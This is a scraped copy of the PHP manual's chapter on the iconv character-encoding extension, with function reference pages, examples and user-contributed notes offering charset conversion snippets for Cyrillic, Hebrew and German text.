Since PHP 5.0.0, this extension comes with various utility functions that help you to write multilingual scripts. Let's have a look at the following sections to explore the new features.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You will need nothing if the system you are using is one of the recent POSIX-compliant systems because standard C libraries that are supplied in them must provide iconv facility. Otherwise, you have to get the » libiconv library installed in your system.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is enabled by default, although it may be disabled by compiling with --without-iconv .

The optional --with-iconv-dir directive is used to specify the location of iconv on the system that PHP is being compiled on, otherwise only the default locations are scanned.

Note: Note to PHP 4 users
Enabling this extension requires building with --with-iconv=[DIR] , or Windows users may enable by having iconv.dll available in the system's PATH, and php_iconv.dll enabled in php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Iconv Configure Options
Name | Default | Changeable | Changelog
iconv.input_encoding | "" | PHP_INI_ALL | Available since PHP 4.0.5. Deprecated in PHP 5.6.0.
iconv.output_encoding | "" | PHP_INI_ALL | Available since PHP 4.0.5. Deprecated in PHP 5.6.0.
iconv.internal_encoding | "" | PHP_INI_ALL | Available since PHP 4.0.5. Deprecated in PHP 5.6.0.

Here's a short explanation of the configuration directives.

Warning

Some systems (like IBM AIX) use "ISO8859-1" instead of "ISO-8859-1" so this value has to be used in configuration options and function parameters.

iconv.input_encoding string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

PHP 5.6 and later users should leave this empty and set default_charset instead.

iconv.output_encoding string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

PHP 5.6 and later users should leave this empty and set default_charset instead.

iconv.internal_encoding string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

PHP 5.6 and later users should leave this empty and set default_charset instead.

User Contributed Notes

Justin 17-Mar-2009 06:56
Many people report problems compiling PHP on Leopard due to a libiconv issue.

This may be due to the small C test programme in ./configure.
It calls open_conv with two const * char arguments (correct), but these are NOT valid charsets to iconv. This then breaks ./configure.

AFAIK from the libiconv documentation, the PHP configure call is incorrect: this function expects two valid charset arguments. (You can see a list of valid arguments by running iconv -l).

Changing the call to:

cd = open_conv("UTF-8","ISO-8859-1")

returns a valid iconv_t number (non-negative), and configure can then continue setting up for your Makefile compile.


Predefined Constants

Since PHP 4.3.0 it is possible to identify at runtime which iconv implementation is adopted by this extension.

iconv constants
Name | Type | Description
ICONV_IMPL | string | The implementation name
ICONV_VERSION | string | The implementation version

Note:

Writing implementation-dependent scripts with these constants is strongly discouraged.

Since PHP 5.0.0, the following constants are also available:

iconv constants available since PHP 5.0.0
Name | Type | Description
ICONV_MIME_DECODE_STRICT | integer | A bitmask used for iconv_mime_decode()
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | integer | A bitmask used for iconv_mime_decode()

User Contributed Notes

There are no user contributed notes for this page.


iconv Functions

See Also

See also GNU Recode functions.

Table of Contents

  • iconv_get_encoding — Retrieve internal configuration variables of iconv extension
  • iconv_mime_decode_headers — Decodes multiple MIME header fields at once
  • iconv_mime_decode — Decodes a MIME header field
  • iconv_mime_encode — Composes a MIME header field
  • iconv_set_encoding — Set current setting for character encoding conversion
  • iconv_strlen — Returns the character count of string
  • iconv_strpos — Finds position of first occurrence of a needle within a haystack
  • iconv_strrpos — Finds the last occurrence of a needle within a haystack
  • iconv_substr — Cut out part of a string
  • iconv — Convert string to requested character encoding
  • ob_iconv_handler — Convert character encoding as output buffer handler

User Contributed Notes

Martin Petrov 19-Oct-2009 11:05
This is edited functions utf8_to_cp1251 and cp1251_to_utf8.
Changes: Check current string encoding.

<?php
function cp1251_to_utf8($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "WINDOWS-1251")
    {
    $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
    for($i=0; $i<strlen($s); $i++)
      {
      $c=ord($s[$i]);
      if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
      elseif ($c>239) $t.=$c209.chr($c-112);
      elseif ($c==184) $t.=$c209.$c209;
      elseif ($c==168)    $t.=$c208.$c129;
      else $t.=$s[$i];
      }
    return $t;
    }
  else
    {
    return $s;
    }
   }

function utf8_to_cp1251($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "UTF-8")
    {
    for ($c=0;$c<strlen($s);$c++)
      {
      $i=ord($s[$c]);
      if ($i<=127) $out.=$s[$c];
      if ($byte2)
        {
        $new_c2=($c1&3)*64+($i&63);
        $new_c1=($c1>>2)&5;
        $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025)
          {
          $out_i=168;
          } else {
          if ($new_i==1105)
            {
            $out_i=184;
            } else {
            $out_i=$new_i-848;
            }
          }
        $out.=chr($out_i);
        $byte2=false;
        }
        if (($i>>5)==6)
          {
          $c1=$i;
          $byte2=true;
          }
      }
    return $out;
    }
  else
    {
    return $s;
    }
  }
?>
Erel Segal - Rent a Brain 25-Mar-2007 08:32
Note that my mysql_iconv will not translate correctly the Hebrew dotting symbols (Niqqud) - they will be converted into question marks.

Here is a straightforward (and not very efficient) solution:

<?php
function utf8_to_windows1255($utf8) {
    $windows1255 = "";
    $chars = preg_split("//",$utf8);
    for ($i=1; $i<count($chars)-1; $i++) {
        $prefix = ord($chars[$i]);
        $suffix = ord($chars[$i+1]);
        //print ("<p>$prefix $suffix");
        if ($prefix==215) {
            $windows1255 .= chr($suffix+80);
            $i++;
        }
        elseif ($prefix==214) {
            $windows1255 .= chr($suffix+16);
            $i++;
        }
        else {
            $windows1255 .= $chars[$i];
        }
    }
    return $windows1255;
}
?>
nod at mobi dot kz 17-Jul-2006 04:17
If you need convert string from Windows-1251 to 866. Some characters of 1251 haven't representation on DOS 866. For example, long dash -- chr(150) will be converted to 0, after that iconv finish his work and other charactes  will be skiped. Problem characters range in win1251 (128-159,163,165-167,169,171-174,177-182,187-190).

Use this:

//$text  -  input text in windows-1251
//$cout  -  output text in 866 (cp866, dos ru ascii)

for($i=0;$i<strlen($text);$i++) {
    $ord=ord($text[$i]);
    if($ord>=192&&$ord<=239) $cout.=chr($ord-64);
    elseif($ord>=240&&$ord<=255) $cout.=chr($ord-16);
    elseif($ord==168) $cout.=chr(240);
    elseif($ord==184) $cout.=chr(241);
    elseif($ord==185) $cout.=chr(252);
    elseif($ord==150||$ord==151) $cout.=chr(45);
    elseif($ord==147||$ord==148||$ord==171||$ord==187) $cout.=chr(34);
    elseif($ord>=128&&$ord<=190) $i=$i; //нет представления данному символу
    else $cout.=chr($ord);
}
andrej009 16-Mar-2006 01:22
There's one more special german character: ß (sometimes displayed as Ϋ)

so: case 159: $out .= "ß";break;
Christophe Lienert 27-Sep-2005 11:09
In addition to Godfather's note below, you may find this function useful just as well.

// function to change german umlauts into ue, oe, etc.
function cv_input($str){
      $out = "";
      for ($i = 0; $i<strlen($str);$i++){
           $ch= ord($str{$i});
           switch($ch){
                case 195: $out .= "";break;
                case 164: $out .= "ae"; break;
                case 188: $out .= "ue"; break;
                case 182: $out .= "oe"; break;
                case 132: $out .= "Ae"; break;
                case 156: $out .= "Ue"; break;
                case 150: $out .= "Oe"; break;
                default : $out .= chr($ch) ;
           }
      }
      return $out;
}
The Godfather 15-Dec-2004 02:36
With this function you can translate the german Symbols from the character set UTF-8 in windows-1252.

function convert_text($str){
  $out = '';
  for ($i = 0; $i<strlen($str);$i++){
   $ch = ord($str{$i});
   switch($ch){
         case 252: $out .= chr(129);break; //u Umlaut
         case 220: $out .= chr(154);break;//U Umlaut
         case 228: $out .= chr(132);break;//a Umlaut
         case 196: $out .= chr(142);break;//A Umlaut
         case 214: $out .= chr(153);break;//O Umlaut
         case 246: $out .= chr(148);break;//o Umlaug
         case 223: $out .= chr(225);break;//SZ
         default : $out .= chr($ch) ;
   }
  }
  return $out;
}
tokiee at hotmail dot com 19-Aug-2004 10:40
iconv now has been built-in, at least in PHP >= 5.0.1 for win32. You don't have to modify php.ini for this. Actually you should not. And clearly, libiconv does not need to be installed.
thierry.bo 23-Dec-2003 11:26
Windows users.

Personaly I leaved all php dlls in \php\dlls\ directory, just adding this path to my system path, and iconv.dll supplied with php 4.3.2 works fine, also leaving supplied php_iconv.dll in my \php\extensions\ directory. This was working fine with Apache and Omnihttpd server I use.

As soon I installed IIS on the same server, php complained about not finding php_iconv.dll in the extensions directory. In fact PHP with IIS loads all extensions in my \php\extensions directory correctly, except php_iconv.dll.
Although iconv.dll is in my system path, the only way to load php_iconv.dll was to copy iconv.dll file in \%winnt\system32 directory. With other servers, iconv.dll can be in anywhere in the system path.
14-Sep-2002 02:23
I'm not sure how recent version of
glibc 2.x Slackware 7.x/8.x comes with, but
it's very likely that it comes with glibc 2.2.x.
In that case, you don't have to bother at all to
install libiconv in /usr/local. iconv(3) in glibc 2.2.x
is very good (thanks to Ulrich Drepper and
Bruno Haible. the latter is the author of libiconv).
libiconv is very handy for those outdated/non-standard-compliant Unix
and non-Unix systems that don't have
sufficiently good iconv(3) in their C library.
elk at NOSPAMmodel-fx dot com 25-Jul-2002 05:39
To compile libiconv under Slackware 7.0 or 8.0 without errors (either with the apache module of PHP or the CGI version), you must specify the full path of the libiconv installation.

Exemple :

       --with-iconv=/usr/local


Retrieve internal configuration variables of iconv extension

  • « iconv Functions
  • iconv_mime_decode_headers »
  • PHP Manual
  • iconv Functions
  • Retrieve internal configuration variables of iconv extension

iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_get_encoding — Retrieve internal configuration variables of iconv extension

Description

mixed iconv_get_encoding ([ string $type = "all" ] )

Retrieve internal configuration variables of iconv extension.

Parameters

type

The value of the optional type can be:

  • all
  • input_encoding
  • output_encoding
  • internal_encoding

Return Values

Returns the current value of the internal configuration variable if successful or FALSE on failure.

If type is omitted or set to "all", iconv_get_encoding() returns an array that stores all these variables.

Examples

Example #1 iconv_get_encoding() example

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
var_dump(iconv_get_encoding('all'));
?>
</pre>

The above example will output:

Array
(
    [input_encoding] => ISO-8859-1
    [output_encoding] => ISO-8859-1
    [internal_encoding] => UTF-8
)

See Also

  • iconv_set_encoding() - Set current setting for character encoding conversion
  • ob_iconv_handler() - Convert character encoding as output buffer handler

User Contributed Notes

There are no user contributed notes for this page.


Decodes multiple MIME header fields at once

  • « iconv_get_encoding
  • iconv_mime_decode »
  • PHP Manual
  • iconv Functions
  • Decodes multiple MIME header fields at once

iconv_mime_decode_headers

(PHP 5)

iconv_mime_decode_headers — Decodes multiple MIME header fields at once

Description

array iconv_mime_decode_headers ( string $encoded_headers [, int $mode = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Decodes multiple MIME header fields at once.

Parameters

encoded_headers

The encoded headers, as a string.

mode

mode determines the behaviour in the event iconv_mime_decode_headers() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

Bitmasks acceptable to iconv_mime_decode_headers()
Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in » RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode_headers() attempts to ignore any grammatical errors and continue to process a given header.

charset

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_encoding will be used.

Return Values

Returns an associative array that holds a whole set of MIME header fields specified by encoded_headers on success, or FALSE if an error occurs during the decoding.

Each key of the return value represents an individual field name and the corresponding element represents a field value. If more than one field of the same name are present, iconv_mime_decode_headers() automatically incorporates them into a numerically indexed array in the order of occurrence.

Examples

Example #1 iconv_mime_decode_headers() example

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

The above example will output:

Array
(
    [Subject] => Prüfung Prüfung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

See Also

  • iconv_mime_decode() - Decodes a MIME header field
  • mb_decode_mimeheader() - Decode string in MIME header field
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

TheConstructor 12-Jul-2010 09:07
If you need lower-case header-names (as I read the documentation case is not guranteed) try something like

<?php

$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");

$headers = array_combine(array_map("strtolower", array_keys($headers)), array_values($headers));

print_r($headers);
?>


Decodes a MIME header field

  • « iconv_mime_decode_headers
  • iconv_mime_encode »
  • PHP Manual
  • iconv Functions
  • Decodes a MIME header field

iconv_mime_decode

(PHP 5)

iconv_mime_decode — Decodes a MIME header field

Description

string iconv_mime_decode ( string $encoded_header [, int $mode = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Decodes a MIME header field.

Parameters

encoded_header

The encoded header, as a string.

mode

mode determines the behaviour in the event iconv_mime_decode() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

Bitmasks acceptable to iconv_mime_decode()
Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in » RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode_headers() attempts to ignore any grammatical errors and continue to process a given header.

charset

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_encoding will be used.

Return Values

Returns a decoded MIME field on success, or FALSE if an error occurs during the decoding.

Examples

Example #1 iconv_mime_decode() example

<?php
// This yields "Subject: Prüfung Prüfung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

See Also

  • iconv_mime_decode_headers() - Decodes multiple MIME header fields at once
  • mb_decode_mimeheader() - Decode string in MIME header field
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

Dirk Becker 26-Jul-2013 06:46
While creating a new webmailer, I had to coop with a lot of mails and only half of them were correct encoded!
Often the text is tagged as ISO but in real its UTF :/

After trying a lot of solutions and combination a found a way which seems to work for all our mails. Maybe its usefull to someone else too.

<?php

    function mime_encode($data)
    {
        $resp = imap_utf8(trim($data));

        if(preg_match("/=\?/", $resp))
            $resp = iconv_mime_decode($data, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, "ISO-8859-15");

        if(json_encode($resp) == 'null')
            $resp = utf8_encode($resp);

        return $resp;
    }

?>
koronci at aol dot com 19-Dec-2012 08:24
A simple and working solution for latin encoding supports Slovak, Czech, Russian ect.
<?php iconv("utf-8", "windows-1250", $SomeWeirdText); ?>

specially for those who strugle with imap_mime_header_decode
dido dot sevilla at gmail dot com 09-Mar-2005 05:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
    $data = imap_mime_header_decode($str);
    if (count($data) > 0) {
      // because iconv doesn't like the 'default' for charset
      $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
      return(iconv($charset, $charset, $data[0]->text));
    }
    return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.


Composes a MIME header field

  • « iconv_mime_decode
  • iconv_set_encoding »
  • PHP Manual
  • iconv Functions
  • Composes a MIME header field

iconv_mime_encode

(PHP 5)

iconv_mime_encode — Composes a MIME header field

Description

string iconv_mime_encode ( string $field_name , string $field_value [, array $preferences = NULL ] )

Composes and returns a string that represents a valid MIME header field, which looks like the following:

Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
In the above example, "Subject" is the field name and the portion that begins with "=?ISO-8859-1?..." is the field value.

Parameters

field_name

The field name.

field_value

The field value.

preferences

You can control the behaviour of iconv_mime_encode() by specifying an associative array that contains configuration items to the optional third parameter preferences. The items supported by iconv_mime_encode() are listed below. Note that item names are treated case-sensitive.

Configuration items supported by iconv_mime_encode()
Item | Type | Description | Default value | Example
scheme | string | Specifies the method to encode a field value by. The value of this item may be either "B" or "Q", where "B" stands for base64 encoding scheme and "Q" stands for quoted-printable encoding scheme. | B | B
input-charset | string | Specifies the character set in which the first parameter field_name and the second parameter field_value are presented. If not given, iconv_mime_encode() assumes those parameters are presented to it in the iconv.internal_encoding ini setting. | iconv.internal_encoding | ISO-8859-1
output-charset | string | Specifies the character set to use to compose the MIME header. | iconv.internal_encoding | UTF-8
line-length | integer | Specifies the maximum length of the header lines. The resulting header is "folded" to a set of multiple lines in case the resulting header field would be longer than the value of this parameter, according to » RFC2822 - Internet Message Format. If not given, the length will be limited to 76 characters. | 76 | 996
line-break-chars | string | Specifies the sequence of characters to append to each line as an end-of-line sign when "folding" is performed on a long header field. If not given, this defaults to "\r\n" (CR LF). Note that this parameter is always treated as an ASCII string regardless of the value of input-charset. | \r\n | \n

Return Values

Returns an encoded MIME field on success, or FALSE if an error occurs during the encoding.

Examples

Example #1 iconv_mime_encode() example

<?php
$preferences = array(
    "input-charset" => "ISO-8859-1",
    "output-charset" => "UTF-8",
    "line-length" => 76,
    "line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// This yields "Subject: =?UTF-8?Q?Pr=C3=BCfung=20Pr=C3=BCfung?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);

$preferences["scheme"] = "B";
// This yields "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);
?>

See Also

  • imap_binary() - Convert an 8bit string to a base64 string
  • mb_encode_mimeheader() - Encode string for MIME header
  • imap_8bit() - Convert an 8bit string to a quoted-printable string
  • quoted_printable_encode() - Convert a 8 bit string to a quoted-printable string

User Contributed Notes

cedric at gn dot apc dot org 14-Mar-2012 12:54
iconv_mime_encode() isn't directly suitable for encoding headers which include "specials" as described in RFC 1522 s4 & s5, for example
<?php
$mimeprefs = array ("scheme" => "Q",
                    "input-charset" => "utf-8",
                    "output-charset" => "utf-8",
                    "line-break-chars" => "\n");
$enc = iconv_mime_encode('From',  '"Réal Namé" <user@example.com>', $prefs);
?>
will wrongly attempt to encode the angle brackets.  To use the function in place of mb_encode_mimeheader(), instead you need to encode the words separately, removing the superfluous field name:

<?php
$encoded = "From: \"". preg_replace('/^:\s+/', '', iconv_mime_encode("", $real, $mimeprefs))."\" <$email>";
?>

Also, values of "line-length" greater than 76 would be illegal under RFC 1522 and resulting encoded words may not be recognised.  (Not tested, but 72 would be safer.)
markus AT birth MINUS online DOT de 19-May-2010 02:38
Looks like this function suffers from the same bug as mb_encode_mime() with long strings of non us-ascii characters. The function then returns false. This applies for utf-8 to utf-8 "conversion".

<?php
$subject = 'Вы находитесь здесь: Главная > продукт';

$prefs = array(
    'scheme' => 'Q',
    'input-charset' => 'UTF-8',
    'output-charset' => 'UTF-8',
    'line-length' => 76,
    'line-break-chars' => "\r\n",
);

echo 'Original: ' . $subject . PHP_EOL;
$enc = iconv_mime_encode( 'Subject', $subject, $prefs );
var_dump( $enc );  // will show bool(false)
?>

As a workaround, you could explode() the value on spaces and encode each word separately. Then remove the "Subject: " in front of the resulting strings and join() them with "\r\n " (don't forget the SPACE after the \n) as separator.


Set current setting for character encoding conversion

  • « iconv_mime_encode
  • iconv_strlen »
  • PHP Manual
  • iconv Functions
  • Set current setting for character encoding conversion

iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_set_encoding — Set current setting for character encoding conversion

Description

bool iconv_set_encoding ( string $type , string $charset )

Changes the value of the internal configuration variable specified by type to charset.

Parameters

type

The value of type can be any one of these:

  • input_encoding
  • output_encoding
  • internal_encoding

charset

The character set.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 iconv_set_encoding() example

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

See Also

  • iconv_get_encoding() - Retrieve internal configuration variables of iconv extension
  • ob_iconv_handler() - Convert character encoding as output buffer handler

User Contributed Notes

pasamio at gmail dot com 04-Jan-2008 08:18
On PHP 5.2.5 when iconv.*_encoding values are set using php_admin_value in the Apache configuration file, this call will fail and return false.


Returns the character count of string

  • Â« iconv_set_encoding
  • iconv_strpos Â»
  • PHP Manual
  • iconv Functions
  • Returns the character count of string

iconv_strlen

(PHP 5)

iconv_strlen — Returns the character count of string

Description

int iconv_strlen ( string $str [, string $charset = ini_get("iconv.internal_encoding") ] )

In contrast to strlen(), iconv_strlen() counts the occurrences of characters in the given byte sequence str on the basis of the specified character set, the result of which is not necessarily identical to the length of the string in byte.

Parameters

str

The string.

charset

If charset parameter is omitted, str is assumed to be encoded in iconv.internal_encoding.

Return Values

Returns the character count of str, as an integer.

See Also

  • grapheme_strlen() - Get string length in grapheme units
  • mb_strlen() - Get string length
  • strlen() - Get string length

User Contributed Notes

hfuecks @ nospam org 25-Feb-2006 01:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "Iñtërnâtiôn\xe9àlizætiøn";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
    die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos


Finds position of first occurrence of a needle within a haystack

  • « iconv_strlen
  • iconv_strrpos »
  • PHP Manual
  • iconv Functions
  • Finds position of first occurrence of a needle within a haystack

iconv_strpos

(PHP 5)

iconv_strpos — Finds position of first occurrence of a needle within a haystack

Description

int iconv_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $charset = ini_get("iconv.internal_encoding") ]] )

Finds position of first occurrence of a needle within a haystack.

In contrast to strpos(), the return value of iconv_strpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

Parameters

haystack

The entire string.

needle

The searched substring.

offset

The optional offset parameter specifies the position from which the search should be performed.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

Return Values

Returns the numeric position of the first occurrence of needle in haystack.

If needle is not found, iconv_strpos() will return FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • iconv_strrpos() - Finds the last occurrence of a needle within a haystack
  • mb_strpos() - Find position of first occurrence of string in a string

User Contributed Notes

There are no user contributed notes for this page.


Finds the last occurrence of a needle within a haystack

  • « iconv_strpos
  • iconv_substr »
  • PHP Manual
  • iconv Functions
  • Finds the last occurrence of a needle within a haystack

iconv_strrpos

(PHP 5)

iconv_strrpos — Finds the last occurrence of a needle within a haystack

Description

int iconv_strrpos ( string $haystack , string $needle [, string $charset = ini_get("iconv.internal_encoding") ] )

Finds the last occurrence of a needle within a haystack.

In contrast to strrpos(), the return value of iconv_strrpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

Parameters

haystack

The entire string.

needle

The searched substring.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

Return Values

Returns the numeric position of the last occurrence of needle in haystack.

If needle is not found, iconv_strrpos() will return FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • strrpos() - Find the position of the last occurrence of a substring in a string
  • iconv_strpos() - Finds position of first occurrence of a needle within a haystack
  • mb_strrpos() - Find position of last occurrence of a string in a string

User Contributed Notes

There are no user contributed notes for this page.


Cut out part of a string

  • « iconv_strrpos
  • iconv »
  • PHP Manual
  • iconv Functions
  • Cut out part of a string

iconv_substr

(PHP 5)

iconv_substr — Cut out part of a string

Description

string iconv_substr ( string $str , int $offset [, int $length = iconv_strlen($str, $charset) [, string $charset = ini_get("iconv.internal_encoding") ]] )

Cuts a portion of str specified by the offset and length parameters.

Parameters

str

The original string.

offset

If offset is non-negative, iconv_substr() cuts the portion out of str beginning at offset'th character, counting from zero.

If offset is negative, iconv_substr() cuts out the portion beginning at the position, offset characters away from the end of str.

length

If length is given and is positive, the return value will contain at most length characters of the portion that begins at offset (depending on the length of string).

If negative length is passed, iconv_substr() cuts the portion out of str from the offset'th character up to the character that is length characters away from the end of the string. In case offset is also negative, the start position is calculated beforehand according to the rule explained above.

charset

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_encoding.

Note that offset and length parameters are always deemed to represent offsets that are calculated on the basis of the character set determined by charset, whilst the counterpart substr() always takes these for byte offsets.

Return Values

Returns the portion of str specified by the offset and length parameters.

If str is shorter than offset characters long, FALSE will be returned.

See Also

  • substr() - Return part of a string
  • mb_substr() - Get part of string
  • mb_strcut() - Get part of string

User Contributed Notes

doru87 at gmail dot com 21-Jan-2010 02:29
just fyi, iconv_substr() unknown error (0) has been resolved in PHP 5.2

you can also try mb_substr() or just substr() when dealing with this issue. Unfortunately there is no way to fix it in versions prior to 5.2.

Regards,
Teodor Sandu
qbolec at terra dot es 25-May-2007 11:07
<?=
iconv_substr("A",0,1);
?>
generates folowing error:
Notice: iconv_substr() [function.iconv-substr]: Unknown error (0) in [...]

while, <?= iconv_substr("AB",0,1) ?> and <?= iconv_substr("AB",0,2) ?>
work as expected.


Convert string to requested character encoding

  • « iconv_substr
  • ob_iconv_handler »
  • PHP Manual
  • iconv Functions
  • Convert string to requested character encoding

iconv

(PHP 4 >= 4.0.5, PHP 5)

iconv — Convert string to requested character encoding

Description

string iconv ( string $in_charset , string $out_charset , string $str )

Performs a character set conversion on the string str from in_charset to out_charset.

Parameters

in_charset

The input charset.

out_charset

The output charset.

If you append the string //TRANSLIT to out_charset transliteration is activated. This means that when a character can't be represented in the target charset, it can be approximated through one or several similarly looking characters. If you append the string //IGNORE, characters that cannot be represented in the target charset are silently discarded. Otherwise, str is cut from the first illegal character and an E_NOTICE is generated.

str

The string to be converted.

Return Values

Returns the converted string or FALSE on failure.

Examples

Example #1 iconv() example

<?php
$text = "This is the Euro symbol '€'.";

echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE   : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain    : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;

?>

The above example will output something similar to:

Original : This is the Euro symbol '€'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE   : This is the Euro symbol ''.
Plain    :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7
This is the Euro symbol '

User Contributed Notes

rasmus at mindplay dot dk 27-Jun-2014 08:52
Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because iconv() will add a byte-order marker to the beginning of (for example) a UTF-32 string when converting from e.g. ISO-8859-1, which can throw off all your subsequent calculations and operations on the resulting string.

In other words, iconv() appears to be intended for use when converting the contents of files - whereas mb_convert_encoding() is intended for use when juggling strings internally, e.g. strings that aren't being read/written to/from files, but exchanged with some other media.
Daniel Klein 18-Dec-2013 02:16
A function to convert UTF-8 to best-fit ASCII. Handles punctuation too. Characters it doesn't understand get converted to '?'.

<?php
function utf8_to_ascii($text) {
    if (is_string($text)) {
        // Includes combinations of characters that present as a single glyph
